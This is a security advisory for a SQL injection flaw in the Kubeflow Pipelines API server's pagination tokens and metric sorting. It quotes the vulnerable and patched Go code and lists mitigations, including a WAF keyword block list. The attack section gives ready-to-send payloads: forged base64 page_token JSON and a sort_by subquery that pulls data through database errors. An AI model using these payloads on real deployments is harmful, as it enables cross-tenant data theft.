CVE-2026-88985: SQL Injection via Pagination Token Deserialization and Metric Sorting in Kubeflow Pipelines API Server

Kubeflow Pipelines (KFP) is a platform for building and deploying portable, scalable machine learning workflows on Kubernetes. Its backend API server (kubeflow/pipelines) exposes both HTTP REST and gRPC endpoints (across v1beta1 and v2beta1 API versions) to manage pipelines, experiments, jobs, and execution runs. To support cursor-based pagination and result sorting across these collections, the API server processes query parameters such as page_token (or pageToken) and sort_by (or sortBy).

In versions of Kubeflow Pipelines prior to 2.17.0, the API server contains multiple SQL Injection vulnerabilities classified under CWE-89 (Improper Neutralization of Special Elements used in an SQL Command). When handling list operations—such as /apis/v1beta1/pipelines, /apis/v2beta1/runs, /apis/v1beta1/jobs, and /apis/v1beta1/experiments—the backend constructs dynamic SQL queries using the Squirrel SQL builder library (sq.SelectBuilder). The server improperly trusts structural SQL identifiers extracted from client-supplied pagination tokens and sorting parameters.

Specifically, two primary injection vectors exist within the query construction pipeline. First, the page_token parameter is a base64-encoded JSON object that deserializes directly into an internal token structure containing database column names, table prefixes, and filter maps. These fields are concatenated directly into WHERE and ORDER BY clauses without allowlist validation. Second, when sorting execution runs by custom metrics (sortBy=metric:<name>), the server concatenates the raw metric name directly into both the SELECT column alias and the LEFT JOIN predicate on the initial page request.

An authenticated user with standard privileges to list pipelines or runs can exploit either vector by supplying crafted query parameters. Because the Kubeflow Pipelines API server connects to a centralized backend database storing metadata for all namespaces, successful exploitation breaches multi-tenant isolation. An attacker can extract arbitrary database records across all tenant namespaces accessible to the API server's database service account.

The primary root cause of CVE-2026-88985 is the lack of boundary validation when deserializing client-controlled cursor state into internal SQL query construction structures. In backend/src/apiserver/list/list.go, cursor pagination is implemented by serializing an internal token struct into JSON and encoding it as base64. When a client requests a subsequent page, the API server invokes token.unmarshal() to reconstruct the token struct from the page_token query parameter.

During initial first-page requests (where no page_token is present), the API server validates sorting fields and filter keys against model-specific allowlists via NewOptions() and filter.NewWithKeyMap(). However, when resuming pagination via NewOptionsFromToken(), the server previously bypassed these checks entirely. It assumed that because the page_token was originally generated by the server, its contents remained untampered. Because the token is only base64-encoded and lacks cryptographic signing (such as an HMAC), a client can arbitrarily modify structural fields including KeyFieldName, SortByFieldName, KeyFieldPrefix, SortByFieldPrefix, and the internal map keys of the embedded Filter struct.

When AddSortingToSelect() and AddFilterToSelect() are subsequently called to build the SQL query using Squirrel, the library treats map keys in sq.Eq, sq.Lt, and sq.LtOrEq as literal SQL column identifiers rather than parameterized values. While Squirrel binds the map values using ? placeholders, it emits the keys verbatim into the query string. Similarly, OrderBy() formats SortByFieldPrefix + SortByFieldName directly using fmt.Sprintf(). Furthermore, in backend/src/apiserver/filter/filter.go, deserializing the embedded Filter struct populates operator maps (f.eq, f.neq, f.gt, etc.) whose keys are emitted directly into WHERE clauses.

A secondary root cause exists in backend/src/apiserver/storage/run_store.go within the addSortByRunMetricToSelect() method. When a user requests run sorting by a custom metric on the first page (sortBy=metric:<name>), the field name is not a standard model column. The server constructs a subquery join against the run_metrics table and concatenates opts.SortByFieldName directly into two raw SQL fragments: the SELECT projection alias (run_metrics.numbervalue as <name>) and the LEFT JOIN string literal comparison (AND run_metrics.name='<name>').

In versions prior to 2.17.0, the token struct and its unmarshaling logic in backend/src/apiserver/list/list.go decoded the base64 input directly into struct fields without inspecting the resulting identifier strings:

// Vulnerable code in backend/src/apiserver/list/list.go
type token struct {
    SortByFieldName   string
    SortByFieldValue  interface{}
    SortByFieldPrefix string
    KeyFieldName      string
    KeyFieldValue     interface{}
    KeyFieldPrefix    string
    IsDesc            bool
    ModelName         string
    Filter            *filter.Filter
}
 
func (t *token) unmarshal(pageToken string) error {
    b, err := base64.StdEncoding.DecodeString(pageToken)
    if err != nil {
        return util.NewInvalidInputErrorWithDetails(err, "Invalid package token")
    }
    // Directly unmarshals untrusted JSON into SQL identifier fields
    return json.Unmarshal(b, t)
}

When constructing the query in AddSortingToSelect(), these unvalidated fields were concatenated directly into Squirrel expressions and OrderBy clauses:

// Vulnerable query construction in backend/src/apiserver/list/list.go
if o.IsDesc {
    sqlBuilder = sqlBuilder.
        Where(sq.Or{
            // Map keys in sq.Lt and sq.Eq are emitted as raw SQL identifiers
            sq.Lt{o.SortByFieldPrefix + o.SortByFieldName: o.SortByFieldValue},
            sq.And{
                sq.Eq{o.SortByFieldPrefix + o.SortByFieldName: o.SortByFieldValue},
                sq.LtOrEq{o.KeyFieldPrefix + o.KeyFieldName: o.KeyFieldValue},
            },
        })
}
// ...
if o.SortByFieldName != "" {
    // Direct string interpolation into ORDER BY clause
    sqlBuilder = sqlBuilder.OrderBy(fmt.Sprintf("%v %v", o.SortByFieldPrefix+o.SortByFieldName, order))
}
if o.KeyFieldName != "" {
    sqlBuilder = sqlBuilder.OrderBy(fmt.Sprintf("%v %v", o.KeyFieldPrefix+o.KeyFieldName, order))
}

Similarly, the vulnerable metric sorting logic in backend/src/apiserver/storage/run_store.go concatenated opts.SortByFieldName into both the SELECT clause and the LeftJoin predicate:

// Vulnerable code in backend/src/apiserver/storage/run_store.go
func (s *RunStore) addSortByRunMetricToSelect(sqlBuilder sq.SelectBuilder, opts *list.Options) sq.SelectBuilder {
    if r.IsRegularField(opts.SortByFieldName) {
        return sqlBuilder
    }
    return sq.
        Select("selected_runs.*, run_metrics.numbervalue as " + opts.SortByFieldName).
        FromSelect(sqlBuilder, "selected_runs").
        LeftJoin("run_metrics ON selected_runs.uuid=run_metrics.runuuid AND run_metrics.name='" + opts.SortByFieldName + "'")
}

Commit ac3a4c65677a3bc7a3d5b1e264fba41178d4ab32 remediates these vulnerabilities through multiple defense-in-depth mechanisms. First, strict regular expression allowlists were introduced in backend/src/apiserver/list/list.go to validate all SQL identifiers and metric names, alongside a new Filter.ValidateKeys() method in backend/src/apiserver/filter/filter.go:

// Patched validation logic in backend/src/apiserver/list/list.go
var identifierPattern = regexp.MustCompile(`^[a-zA-Z][a-zA-Z0-9_]{0,127}$`)
var metricNamePattern = regexp.MustCompile(`^[a-zA-Z][a-zA-Z0-9_\-]{0,127}$`)
 
func validateIdentifierName(name, fieldType string) error {
    if name == "" {
        return nil
    }
    if !identifierPattern.MatchString(name) {
        return util.NewInvalidInputError(
            "Invalid %s: %q. Field names must start with a letter and contain only letters, numbers, and underscores (max 128 characters)",
            fieldType, name)
    }
    return nil
}

Second, the patch decouples user-facing sort field names from SQL column identifiers by introducing SortBySQLColumn and a static constant MetricSortSQLAlias = "sort_metric_value". In backend/src/apiserver/storage/run_store.go, the metric join now uses the static alias for the column projection and binds the metric name safely using a parameterized placeholder (?):

// Patched code in backend/src/apiserver/storage/run_store.go
func (s *RunStore) addSortByRunMetricToSelect(sqlBuilder sq.SelectBuilder, opts *list.Options) sq.SelectBuilder {
    if r.IsRegularField(opts.SortByFieldName) {
        return sqlBuilder
    }
    return sq.
        Select("selected_runs.*, run_metrics.numbervalue as " + list.MetricSortSQLAlias).
        FromSelect(sqlBuilder, "selected_runs").
        LeftJoin("run_metrics ON selected_runs.uuid=run_metrics.runuuid AND run_metrics.name=?", opts.SortByFieldName)
}

This remediation is complete. By parameterizing the metric name in the LEFT JOIN condition, replacing the dynamic SELECT alias with a hardcoded constant (sort_metric_value), and enforcing strict regex validation across all deserialized token fields and filter keys, arbitrary SQL syntax can no longer be injected via either vector.

Exploiting CVE-2026-88985 requires network access to the Kubeflow Pipelines API server (HTTP REST or gRPC gateway) and valid authentication credentials with permissions to invoke at least one list endpoint (such as listing pipelines, runs, jobs, or experiments). No special configuration is required, as pagination and sorting are core features enabled by default.

Attack Vector 1: Forged Pagination Token (page_token)

To exploit the pagination token vector, an attacker constructs a JSON payload matching the structure of the internal token object. The attacker places SQL syntax inside KeyFieldName, SortByFieldName, or an embedded Filter operator map key. For example, to bypass tenant or filter restrictions using boolean condition injection inside the Filter map:

{
  "KeyFieldName": "UUID",
  "SortByFieldName": "Name",
  "Filter": {
    "EQ": {
      "pipelines.Name) OR 1=1 --": []
    }
  }
}

Alternatively, to extract sensitive data from the underlying MySQL/MariaDB or PostgreSQL database via error-based SQL injection (such as EXTRACTVALUE on MySQL), the attacker injects an expression into KeyFieldName:

{
  "KeyFieldName": "EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))",
  "SortByFieldName": "Name",
  "IsDesc": false
}

The attacker base64-encodes this JSON payload and transmits it in the page_token parameter of a standard GET request:

GET /apis/v1beta1/pipelines?page_size=10&page_token=eyAiS2V5RmllbGROYW1lIjogIkVYVFJBQ1RWQUxVRSgxLCBDT05DQVQoMHg3ZSwgKFNFTEVDVCBAQHZlcnNpb24pLCAweDdlKSkiLCAiU29ydEJ5RmllbGROYW1lIjogIk5hbWUiLCAiSXNEZXNjIjogZmFsc2UgfQ== HTTP/1.1
Host: kfp-api-server.example.com
Authorization: Bearer <valid-user-token>

Attack Vector 2: First-Page Metric Sort Injection (sort_by)

To exploit the first-page metric sorting flaw without crafting a base64 token, the attacker targets the /apis/v1beta1/runs or /apis/v2beta1/runs endpoint using the sort_by=metric:<payload> syntax. Because opts.SortByFieldName is interpolated into both run_metrics.numbervalue as <payload> and run_metrics.name='<payload>', the attacker can use inline SQL comments (/**/) to avoid whitespace truncation and inject subqueries:

GET /apis/v2beta1/runs?sort_by=metric:';SELECT/**/extractvalue(1,concat(0x7e,(SELECT/**/uuid/**/FROM/**/run_details/**/LIMIT/**/1)))-- HTTP/1.1
Host: kfp-api-server.example.com
Authorization: Bearer <valid-user-token>

When the API server executes the assembled SQL query, the database evaluates the injected subquery, allowing the attacker to exfiltrate data across namespaces via error messages, boolean response differences (blind SQLi), or time-based delays.

CVE-2026-88985 is assigned a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. The Attack Vector is Network (AV:N) and Attack Complexity is Low (AC:L), as the endpoints are exposed directly over HTTP/gRPC and require no timing conditions. Privileges Required is Low (PR:L), reflecting the requirement for a valid user token capable of calling list endpoints, and User Interaction is None (UI:N).

The primary security impact is High Confidentiality loss (C:H). In multi-tenant Kubeflow deployments, tenant isolation at the API layer relies on Kubernetes RBAC and namespace-scoped query filtering enforced by the API server. However, the API server itself authenticates to the backend relational database (MySQL, MariaDB, or PostgreSQL) using a single privileged database account that has access to all tables and rows across all namespaces.

By exploiting this SQL injection vulnerability, a low-privileged user confined to a single tenant namespace can bypass application-level namespace filters and read data belonging to all other tenants in the cluster. Exposed records include pipeline definitions, run specifications, execution parameters, environment variables, artifact metadata, and experiment configurations stored in the KFP database.

Integrity (I:N) and Availability (A:N) impacts are rated as None in the official advisory. Because the Go database/sql driver for MySQL/PostgreSQL disables multi-statement execution (multiStatements=false) by default, stacked queries (such as ; DROP TABLE pipelines--) cannot be executed unless explicitly enabled in the database connection string, confining the impact to unauthorized data read operations.

Organizations running Kubeflow Pipelines should upgrade the API server component (kubeflow/pipelines) to version 2.17.0 or later, which contains commit ac3a4c65677a3bc7a3d5b1e264fba41178d4ab32 (PR #13127).

> [!NOTE] > Upgrading to Kubeflow Pipelines 2.17.0 changes the internal structure of page_token by introducing the SortBySQLColumn field for metric-sorted queries. Any in-flight pagination tokens generated prior to the upgrade for metric-sorted run lists may be rejected as invalid upon upgrade, requiring clients to restart pagination from the first page.

If immediate upgrading is not feasible, security teams should implement network-level filtering using a Web Application Firewall (WAF) or reverse proxy (such as Envoy or Istio EnvoyFilter in front of ml-pipeline / ml-pipeline-ui) to inspect requests to /apis/v1beta1/* and /apis/v2beta1/*:

1. Inspect sort_by and sortBy query parameters: Reject any request where the parameter value contains characters outside the safe character set ^[a-zA-Z0-9_\-: ]+$. Specifically, block single quotes ('), parentheses ((, )), semicolons (;), and SQL comment sequences (--, /*).
2. Inspect page_token and pageToken query parameters: Configure WAF rules to base64-decode the page_token parameter and inspect the resulting JSON string. Block requests if the decoded JSON contains SQL keywords (SELECT, UNION, EXTRACTVALUE, UPDATEXML, SLEEP, BENCHMARK, OR, AND) or non-identifier punctuation inside field names.
3. Restrict API Server Access: Ensure that the ml-pipeline API server service is not exposed to untrusted networks and that Istio AuthorizationPolicies strictly limit access to authenticated cluster users.